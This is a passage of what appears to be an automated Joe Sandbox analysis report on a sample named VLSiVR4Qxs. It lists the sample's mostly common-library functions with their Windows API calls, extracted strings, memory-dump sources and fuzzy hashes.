Instruction Fuzzy Hash: B671E433630217AADB26AB75EC46BAAB3ACEF44700F15552BF506DB381E670D940C7A0

Function 003DC814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003DCB32,00000002,00000000,?,?,?,003DCB32,?,00000000), ref: 003DC8AD
GetLocaleInfoW.KERNEL32(?,20001004,003DCB32,00000002,00000000,?,?,?,003DCB32,?,00000000), ref: 003DC8D6
GetACP.KERNEL32(?,?,003DCB32,?,00000000), ref: 003DC8EB

Strings

ACP, xrefs: 003DC832
OCP, xrefs: 003DC868

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: 77ad341a64bc80175f1789d87864aeaa466f7bdc710bde9ffd05d4ec194a9c1d
Instruction ID: 31ec027a2efbf9a0827cadc7829fb806eb9ac2a830d1227bd63c1c623bc1c1eb
Opcode Fuzzy Hash: 77ad341a64bc80175f1789d87864aeaa466f7bdc710bde9ffd05d4ec194a9c1d
Instruction Fuzzy Hash: 4E21B233A30103E6DB378F55E901E9773AAAF54B50B579526E80ADB301EB32DD40E350

Function 003CFEF0 Relevance: 7.4, APIs: 2, Strings: 2, Instructions: 449COMMONLIBRARYCODE

Download Yara Rule

Strings

G=, xrefs: 003CFF0B, 003D008E, 003D02B7, 003D0250, 003D00DD
G=, xrefs: 003D0233, 003D0211

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID: G=$G=
API String ID: 0-2121552906
Opcode ID: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction ID: 6be91f387adba316fd8d42067bd7c67695e1c00adc7d393a065e9c6627e2d749
Opcode Fuzzy Hash: b78e9bc5a25061f1abca4818c36b3245c47596756df3441acd3b4668cd2eb70a
Instruction Fuzzy Hash: BAF13F76E012199FDF19CFA8D880BADB7B1FF88714F15826AD815AB381D7309D018B90

Function 003D3C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 003D3D1F

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: effc4ca29d0dde58150fbd90d1a7187dffbd825124e5b0891ecdaadf84af3ea1
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: EDB14A73D042599FDB178F68D881BEEBBB9EF55300F15416BE804AB381D2349E05CBA2

Function 003C7922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 003C792E
IsDebuggerPresent.KERNEL32 ref: 003C79FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 003C7A13
UnhandledExceptionFilter.KERNEL32(?), ref: 003C7A1D

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 67c3d0d264fdf1c23c212015046d91d19f29bbbe0c3b217f06a22defa1fac66e
Instruction ID: fda519de247c145c9e371397a1738ad56622e18d743bab7218ecdc5275a354c2
Opcode Fuzzy Hash: 67c3d0d264fdf1c23c212015046d91d19f29bbbe0c3b217f06a22defa1fac66e
Instruction Fuzzy Hash: 5431D875D052189BDB21DFA4D989BCDBBB8AF08340F1041EAE80DAB250EB719F858F45

Function 003DC498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003DC4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003DC536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003DC5FC

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 23498bed9ce4352ae070ca52c43c06c9edbb14207b364b06f49b3fa1f2c87ece
Instruction ID: c23317706c421b63473c7fae02b462295b6458745bfc8245ee058d48026e18fb
Opcode Fuzzy Hash: 23498bed9ce4352ae070ca52c43c06c9edbb14207b364b06f49b3fa1f2c87ece
Instruction Fuzzy Hash: 6F61E1735301079FDB2A9F25ED82BAA77A9EF04300F15616BF805CA689EB34ED45CB50

Function 003CDA73 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 003CDB6B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 003CDB75
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 003CDB82

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 31a3c601e0d254fa87b6a8f402001a252107bd47804c5a2460397110b55f34ab
Instruction ID: b7d902f06ea96c76ddbac8137ad3fadcc177203b950c76997f28d0f57d654bbf
Opcode Fuzzy Hash: 31a3c601e0d254fa87b6a8f402001a252107bd47804c5a2460397110b55f34ab
Instruction Fuzzy Hash: C931C77490121CABCB22DF64DC89B8CB7B8BF08310F5045EAE41DAB290E7749F858F44

Function 0040945D Relevance: 4.2, Strings: 3, Instructions: 440COMMON

Download Yara Rule

Strings

onstructor closure', xrefs: 00409466
UT, xrefs: 00409788
/, xrefs: 00409510

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID: /$UT$onstructor closure'
API String ID: 0-2652735265
Opcode ID: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction ID: d556509fc007d8b1056da9bf1dc1162a85053a2dc26bbab5908dae5c2965ee95
Opcode Fuzzy Hash: e0872cb26255705f7d48561bd0d36eae2ccbb937a8561f5ea2d9795a88105742
Instruction Fuzzy Hash: 690280B19042688FDF21DF64C8807AEBBB5AF45304F0444FAD949B7386D6388E85CF99

Function 003D622B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,003D23AE,?,20001004,00000000,00000002,?,?,003D19B0), ref: 003D625F

Strings

R[<, xrefs: 003D624A

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: R[<
API String ID: 2299586839-3864648660
Opcode ID: 92a3cd66848db14ac7649f2e1d3bf8799dd2426b07375b0ba9755cbf6a860f8a
Instruction ID: 3290ffbdcba5d93adc017a7a4e8338a4b3faf7d92c4cdb05fcecf0330de5735b
Opcode Fuzzy Hash: 92a3cd66848db14ac7649f2e1d3bf8799dd2426b07375b0ba9755cbf6a860f8a
Instruction Fuzzy Hash: 0BE04833500258B7CF132F60EC09A9E7F19EF44750F018415FD556A261C7718D20AA91

Function 003D572C Relevance: 1.8, APIs: 1, Instructions: 274COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,003D5727,?,?,00000008,?,?,003E15F5,00000000), ref: 003D5959

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 32f438f075df5b496a181974fbaacf889b5d722091f755fbd71bb6cd4e62deea
Instruction ID: c576ddfb6afb4d9f49f44fc5ffbfdc8f8a6b6071eb16aa509f1904a938d04aca
Opcode Fuzzy Hash: 32f438f075df5b496a181974fbaacf889b5d722091f755fbd71bb6cd4e62deea
Instruction Fuzzy Hash: EFB14E32610A08DFD71ACF28D496B647BE0FF45365F26865AE899CF3A1C335E991CB40

Function 003C729C Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 003C72B2

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: acd3240b9ac8d41a6ed8d49fba54e6656ecd428acf6685b1ae58c6b6c01d4dee
Instruction ID: 874ce2454155455386642dfcf11ea289fbeca34b3026ddaf8d43cfe0fbe2d12f
Opcode Fuzzy Hash: acd3240b9ac8d41a6ed8d49fba54e6656ecd428acf6685b1ae58c6b6c01d4dee
Instruction Fuzzy Hash: 82A161B59056458FDB26CF64D8C1759BBB4FB88324F19822ED81AEB390D3349D45CF50

Function 003D9ABF Relevance: 1.6, APIs: 1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd826fa83153098cbc0477566d335a288ebe0df429729aa49f30e47ce3ff0948
Instruction ID: 58d697dbbe14e4670014a657d50d987898da74ffacdfca18717751e2affbd64a
Opcode Fuzzy Hash: dd826fa83153098cbc0477566d335a288ebe0df429729aa49f30e47ce3ff0948
Instruction Fuzzy Hash: 9731D777900219AFCB21EFA9EC89EBB777DEB84314F15415BF9059B244EA30AE408B50

Function 003CCAF2 Relevance: 1.6, Strings: 1, Instructions: 344COMMONLIBRARYCODE

Download Yara Rule

Strings

0, xrefs: 003CCC80

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 616aa4c6258ccb572fbed24b93b4bdb1df58d6bd360bdb4cb0f6e440be646267
Instruction ID: b9fe120289d7b18c553282ae5af73376dc601fbd9e69dd46dd6ad79a5c83c91c
Opcode Fuzzy Hash: 616aa4c6258ccb572fbed24b93b4bdb1df58d6bd360bdb4cb0f6e440be646267
Instruction Fuzzy Hash: 0BC101709206098FCB26CF68C485FBABBB5AF05310F15662DD45EDB691C730AC46CB91

Function 003DC6EB Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 003DC73F

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9aeefaf93578dbf1d6a90313895dbc817d756ca839a25853e86badc6ba2e4891
Instruction ID: d1eb2940472e3878b75f1da7538e436212c9f05ac8dc0f69e70e1d2e285e56d5
Opcode Fuzzy Hash: 9aeefaf93578dbf1d6a90313895dbc817d756ca839a25853e86badc6ba2e4891
Instruction Fuzzy Hash: 73217173525207AFEB2A9E25EC42A7A77ACFF44310F10116BF905DA241EB35DD41CB50

Function 003DC372 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

EnumSystemLocalesW.KERNEL32(003DC498,00000001,00000000,?,-00000050,?,003DCAC9,00000000,?,?,?,00000055,?), ref: 003DC3E4

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 4f0981d5dc8f97285130f89a1576169effc663dec438fe360935b0abddfcdc26
Instruction ID: 974f824ddd0119abd682b968fef0f7215787196931ac85fe3117d2d8b47493e5
Opcode Fuzzy Hash: 4f0981d5dc8f97285130f89a1576169effc663dec438fe360935b0abddfcdc26
Instruction Fuzzy Hash: 80114C3B2203025FDB199F39E8A15BAB7A1FF80368B15852EE94787B40D375B942C740

Function 003DC91A Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,003DC6B4,00000000,00000000,?), ref: 003DC946

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: d6cb1abc1f278483960f4840832ebc56a0e6090fb22d1bb2d2850f875711cef0
Instruction ID: 272814275071038121b7147d97a714b1ccc152119893ce0534ceefe835209e2a
Opcode Fuzzy Hash: d6cb1abc1f278483960f4840832ebc56a0e6090fb22d1bb2d2850f875711cef0
Instruction Fuzzy Hash: BCF0F433630113BBDB2A9A219815BBAB768FF40754F06442AEC02A3380EB30FE01C690

Function 003DC40D Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

EnumSystemLocalesW.KERNEL32(003DC6EB,00000001,?,?,-00000050,?,003DCA8D,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 003DC457

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 9489edc2c6d6d9ff7a3f95527ce02183eceef676dc4e005fc4520b4c659d3090
Instruction ID: 0e5357bfaf22c4f3641609e53ecb0cb541e0d708780070388e0d94f69775155d
Opcode Fuzzy Hash: 9489edc2c6d6d9ff7a3f95527ce02183eceef676dc4e005fc4520b4c659d3090
Instruction Fuzzy Hash: 63F028332203055FCB165F35EC91AB67BA4EB80768F05802EF9068B780C2719C01C600

Function 003D5D7F Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003CDDC1: EnterCriticalSection.KERNEL32(?,?,003D4B89,?,003EC2E0,00000008,003D4D4D,?,003CC446,?), ref: 003CDDD0

EnumSystemLocalesW.KERNEL32(003D5D72,00000001,003EC3A0,0000000C,003D6127,00000000), ref: 003D5DB7

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1480cae9d5cb768e1c29b4d59f9a2bc8d8558e4812438f69ab869326bbdb3192
Instruction ID: 995ad0539d4f71ae6e10d1782c9b241fb8c4599e214aabff6267a38d38d43e76
Opcode Fuzzy Hash: 1480cae9d5cb768e1c29b4d59f9a2bc8d8558e4812438f69ab869326bbdb3192
Instruction Fuzzy Hash: B7F03776A40240EFD702EF98E846B9D7BF0EB48721F10422AF411DB2E0CB7559048B54

Function 003DC327 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 003D4EB1: GetLastError.KERNEL32(?,00000008,003D9482), ref: 003D4EB5
Part of subcall function 003D4EB1: SetLastError.KERNEL32(00000000,003EC480,00000024,003D0419), ref: 003D4F57

EnumSystemLocalesW.KERNEL32(003DC280,00000001,?,?,?,003DCAEB,-00000050,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 003DC35E

Memory Dump Source

